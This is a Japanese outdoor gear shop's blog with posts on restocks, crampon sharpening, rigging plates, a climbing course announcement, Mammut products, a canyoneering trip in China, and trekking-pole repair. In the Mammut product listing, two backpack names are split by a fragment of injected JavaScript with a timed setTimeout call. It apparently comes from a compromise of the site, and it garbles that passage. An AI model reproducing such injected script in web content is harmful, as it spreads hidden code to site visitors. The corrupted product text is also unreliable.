店内入替戦!! FWの陣

店内がSS(春夏)からFW(秋冬)にいれかえ~。
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FW商品も日々入荷しています。
あわせましてオススメ商品をバックルームでもアップしていきます。

夏の大渋滞は靴の「当り出し」の大混雑!!
冬の渋滞予測はアックス、クランポン研磨や加工の大混雑!?
すでに5~6台予約がバサッと(*_*)
工場長一人で作業しますので、冬期に間に合わせたい方はお早めにどうぞ!!

ダメな大人の作り方(水産事業部化計画 )

東京の方にもやっと台風がのり出しました。「今日の貯水量」を平穏に見られるのは喜ばしい限りです。しかし、自分が遊びに行く日に来られると大変迷惑な訳で、心の堰は崩壊寸前、そんな時は間隙を縫って上手いことやりくりするしかない。

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1,まぁ、どーせ遠くには行けないのでとりあえず昼まで寝てみる。

2,割と早めに現場に乗り込み、割と早めに出来上がる。

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3,変に期待して出発する。

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4,結果を残せず帰宅し「水産事業部無計画」を後悔する。

この様に、ダメな大人を作るのは割と簡単です。「昼まで寝て割と早めに出来上がる」あたりはダメさを増すポイントです。何だよ~、また台風出来てるじゃん。海の場合、前後2日NGは4日ダメな事ですから諦めて山でも行くか?。

でも、山でダメな大人を作るのは至難の業なので、どーかこの週末が楽しい連休になるようお祈りしましょう(笑)!。

リギングプレートです。

ビレーポイントでセルフ取るのに掛け間違ったりしたら大変。なので、こーゆーの使うのもアリです。

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左から、PETZL社 PAW#S 55g(¥3,456)、SMC社 Mini Rigging Plate 79g(¥4,830)、DMM社 BAT Rigging Plate#XS 37g(¥4,200)でございます。今自分が使っているのは、SMCの物ですが、DMMイイな~。

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小さすぎて扱い辛い方はこちらもお勧め。

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モンチュライベントのお知らせ(クライミング編)

いやいや、台風大変でしたが10月になりました。エアモンテ(株)主催、モンチュライベント第3回の告知を再掲載。

2012年 11/23(祝金)・11/24(土)実施 

★第3回モンチュラ登山教室 ≪初心者のためのクライミング教室in 城ヶ崎≫

詳細や申込書は以下URLからダウンロード出来ます(圧縮ファイルなので、解凍して下さい)。この手の作業が苦手な方は、エアモンテ(株)東京営業所に、お電話は又はFAXにて「登山教室資料郵送希望」の旨、ご連絡下さい。TEL:042-971-2180  FAX:042-971-2182

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<申込書ダウンロード>

第3回:http://www.denali.ne.jp/fileDL/MONTURA_EVENT_03.lzh

皆様、振るってご参加下さい。

<他告知先>

エアモンテ(株):http://www.airmonte.co.jp/

サミットガイドオフィス:http://homepage1.nifty.com/summit/index.html

成田賢二山岳ガイド事務所:http://www.narita-kenji.com/

 

MAMMUTギア系入荷!!

マムラーの方々、入荷しましたよ!!
沢山あるので一部のみ紹介します。
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■【Swiss Rope】9.6mm×60m(シングルロープ)
@26,250→@23,625(10%OFF)
マムート創立150周年記念の限定発売ロープ。
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■【Transfomer 】9.8×60m(シングルロープ)
@23,100→@20,790(10%OFF)
色のばらつきのために通常は未使用のまま廃棄される転写繊維の高品質残り繊維で作られています。
コスト・パフォーマンスも良しです。
カラーはレインボー!!!
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■【Zephir Altitude】(軽量アルパインハーネス)
@8,925
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■【El Cap】(ハイブリッドヘルメット)
@8,925
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■前にもデナリバックルーム(2012年6月2日)で紹介した限定商品のEIGEREXREMEシリーズ
Trion Nordwandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and(35L)】 【Trea Nordwandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and(32L)】も在庫あります!!

どうぞ!!

工作の時間

道具屋さんですから、「修理より買い替え」が本音です。しかし「もったいない」も本音なので困ります。

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歩き癖で穴が空いた先っちょ。ランドラバーの張り替えしても直ぐにソールも張り替える事になる。いずれにせよ、時間とお金は必要ですがもう少しすれば冬靴でしょ?、この秋を乗り切れば心置きなく修理出来ます。とりあえず、穴を埋めしてお返ししましょう。最近、工作の作業ばかりです。

純白なんてなかった中国沢登り遠征。

  中国での沢登り遠征は無事終了しました。
  
 なんだかんだあって結局山脈の西面を一本遡行する事しかできませんでしたが、中国で沢登りするという事についてかなり収穫があった遠征でした。
 で、今回登った沢は山脈北部にある上邑小河(右俣右沢)という名前でした。入渓点からの標高差は1500mで、アプローチは漾濞の北部にある永地村(漾江)から徒歩6時間、下山10時間永地村に帰ってきます。行程は3泊4日です。
 渓相としては岩がゴロゴロしている割に水量は多く、ゴルジュはほぼ無し。苔が多く、岩はヌメヌメ。フェルトソールでもずるずる滑るほどで、ラバーソールなら最早フリクションゼロ。大きな滝はそれほど多くは無いものの小滝の連瀑帯が続き、沢は常に泡立っている。そんな沢でした。下山時に左沢に100mほどあるであろう大滝を確認。右沢の連瀑帯に代わるものと思われます。
 期待していた『純白の沢』ですが勘違いはなはだしい。磨かぬ岩はただの岩でした。
 で、冒頭の『なんだかんだ』ですが山脈東面は管理が厳しく自由な登山は禁止されています。流石に頭悪い学生とはいえ現在の日中関係から今回は自粛しました。

P8290731蒼山山脈東面。ゴルジュや大滝が豊富な予感・・・。が今回は断念。
P9011198入渓点付近。最初の二俣に10m程度の滝がそれぞれの入り口にかかっています。そこまで微かな踏み跡が沢沿いに残っていて、かつての大理石採石所だったことがうかがえます。クルミの木が多く、いまでは地元民の収入源になっているようです。
P9031329彼方に見える大滝。
P9021323うっそうとしていてアザミの強襲や倒木やツタ植物に苦しみながら遡行。
P9041372ツメの100mは激しい藪漕ぎに・・・。
P9041438稜線には登山道が残っていてお花畑の中下山。
この先に地獄の下山が待っていることをまだ知らなかった。

ところで、帰国が13日だったのですが2、3日遅れていたらボコボコにされていたかもしれないと思うとゾッとしますね。でも中国はいい所でした。大理や今回行った小さな村の人は我々が日本人だと知っても、とても親切にしてくれて反日なんて言うのは実は本当に一部の話なんだと実感しました。
ということで、今後も中国で沢登りをしていこうと考えています。乞うご期待。

夏が終わると

随分、雲が高くなり秋の空らしくなりました。もう、「暑い暑い」と文句を言わずに&言われずに過ごせる事は、非常によろしい事でございます。

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しかし、溜まった課題は山積、あぁ~こんな事ならちゃんと計画立てて研いでおくべきだったよ・・・。夏休みの宿題同様、提出日が近づいて来るとやっと本気が出るのですけど。

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オリさん曰く、「今時道具屋でクランポンなんて研ぎませんよっ、プっ!」と笑われますが、日本はまだ「研ぐなかれ、それは買い替えです!!」と言うご英断が下されるほど御上は暇じゃありません。

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数時間かけて数千円の小遣いもらって「高い、ぼったくり」と言う人は流石に来なくなりましたが、暇な道具屋と言えどもそーそークランポン削っていられませんので、「自分で出来ない&したくない」とハッキリしている方は時間に余裕を持って作業依頼して下さい、猫の手では流石に研げませんので(笑)。短パン&エプロンはつなぎより快適だった。

大人は努力だけじゃダメ、結果です(でなりらぼ)

「え~、ちゃんと干してます!!」と絶対言い張るので、努力は認めよう。ただ、結果こーゆー事では干した事にはなりません。同じ画像掲載は本意ではありませんが、『Z系ポール干すのは吊し干し』、道具屋殺し、地味な作業の割に最高に手が掛かるのでその内容を大後悔・・・(涙)。

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袋から出して広げておいてもダメ、寝かしていれば水気も寝ていますから水分は抜けにくい。ですから『Z系ポール干すのは吊し干し』、出来るだけ積極的に「水気が抜けやすい」状態で干す事が重要です。重力に逆らわないこーゆー干し方こそ、「液体は下、気体は上」で乾燥しやすい。

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ココで話し終わりと言えば終わりですが、週明け早々塩辛の画像で誤魔化されたマニアの皆様のために、ディスタンス系の分解をご説明。右のザックは部品取りのために分解中、ネタになりそーなら再登場。

1,どーしよーもなくガチッてしまったストックの先っちょを鍋で煮てチップを外す。

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2,ヒモを止めている先端のピン(2mm*7mm程度の丸棒、紛失注意)を抜き、コードをフリーにする。この時点で1番下はぶらぶらになります。

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3,コードを覆う1番下と2番目のシリコンカバーをマイナスドライバー等を使い外す。割と力尽くな作業です。

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4,ここで1つ選択肢が出ます、「1週間ぐらい放置乾燥」。まぁ、ココまでやっちゃたらそんな悠長な事考えずに、2度ある事は3度ある、分解魂に火をつけて更に分解を選択。

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5,今度はグリップ部分でコードを止めているピンを抜きます。プラスチックとアルミの2重構造です。プラスチックを押して、リーシュを止めているヒモをラジオペンチで外したらアルミ。

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6,中で水を吸って膨らんだテンションアジャスターを鉄棒で打ち出します。方向はグリップ側から。逆に打ってもジョイント部分の細いアルミチューブにぶつかって抜けません。

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7,ヒモをほどかなければいけない箇所が出ますので、そーゆー所は地道にほどいて下さい。切断するとロクな事になりません。テンションアジャスターの雄ネジも折らないように注意!、ある程度出たら外す方が安全。で、分解の結果こんな感じ。

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セルフレスキューの場合、テンションアジャスターの雌ネジをペーパーで少し削って遊びを作って元に戻して完成。ちなみに、メーカーにお願いすれば、新しいパーツに交換してもらえますので、今日のネタは意味がありませんが、修理に出せば2週間ぐらい、横で見張られていれば小1時間でやるしかない。

Z系ポールのネタが増えて、最近自分でも探すのが面倒なのでバックナンバーリンク。

◆でなりらぼ(煮物:ストック編):http://www.denali.ne.jp/blog/?p=3141

◆「Distance系の弱点」と言うよりは(でなりらぼ):http://www.denali.ne.jp/blog/?p=7529

◆昨日の今日(でなりらぼ):http://www.denali.ne.jp/blog/?p=7557